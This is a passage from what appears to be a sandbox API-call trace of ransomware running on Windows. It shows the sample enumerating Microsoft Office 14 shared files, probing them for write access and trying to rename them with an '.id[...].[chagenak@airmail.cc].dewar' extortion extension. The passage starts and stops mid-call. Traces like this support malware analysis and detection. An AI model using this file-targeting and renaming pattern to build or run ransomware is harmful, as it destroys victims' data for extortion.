files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0231.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0231.864] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=537504) returned 1 [0231.865] CloseHandle (hObject=0x1e0) returned 1 [0231.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0231.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0231.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0231.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0231.867] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=451480) returned 1 [0231.867] CloseHandle (hObject=0x1e0) returned 1 [0231.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0231.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0231.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0231.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0232.390] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=55744) returned 1 [0232.391] CloseHandle (hObject=0x1e8) returned 1 [0232.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0232.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0232.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.392] SetEvent (hEvent=0x118) returned 1 [0232.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0232.393] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=691616) returned 1 [0232.393] CloseHandle (hObject=0x1e8) returned 1 [0232.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0232.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0232.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0232.401] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=297360) returned 1 [0232.401] CloseHandle (hObject=0x1e8) returned 1 [0232.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0232.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0232.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0232.403] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3050912) returned 1 [0232.404] CloseHandle (hObject=0x1e8) returned 1 [0232.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0x20 [0232.404] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0232.404] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0 [0232.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0232.407] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=318368) returned 1 [0232.407] CloseHandle (hObject=0x1e8) returned 1 [0232.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0232.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0232.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0232.690] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=502168) returned 1 [0232.690] CloseHandle (hObject=0x1f0) returned 1 [0232.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0232.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0232.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.691] SetEvent (hEvent=0x118) returned 1 [0232.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.714] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=71032) returned 1 [0232.714] CloseHandle (hObject=0x1e4) returned 1 [0232.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0232.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0232.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.726] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=157024) returned 1 [0232.726] CloseHandle (hObject=0x1e4) returned 1 [0232.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0232.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0232.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.731] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4289376) returned 1 [0232.731] CloseHandle (hObject=0x1e4) returned 1 [0232.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0x20 [0232.732] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0232.732] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0 [0232.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.735] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=204168) returned 1 [0232.735] CloseHandle (hObject=0x1e4) returned 1 [0232.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0232.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0232.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.738] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=25417600) returned 1 [0232.738] CloseHandle (hObject=0x1e4) returned 1 [0232.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0x20 [0232.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0232.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0 [0232.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.741] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=473952) returned 1 [0232.742] CloseHandle (hObject=0x1e4) returned 1 [0232.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0232.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0232.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.746] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=72521600) returned 1 [0232.746] CloseHandle (hObject=0x1e4) returned 1 [0232.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0x20 [0232.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0232.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0 [0232.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.749] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1269648) returned 1 [0232.749] CloseHandle (hObject=0x1e4) returned 1 [0232.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0232.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0232.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft 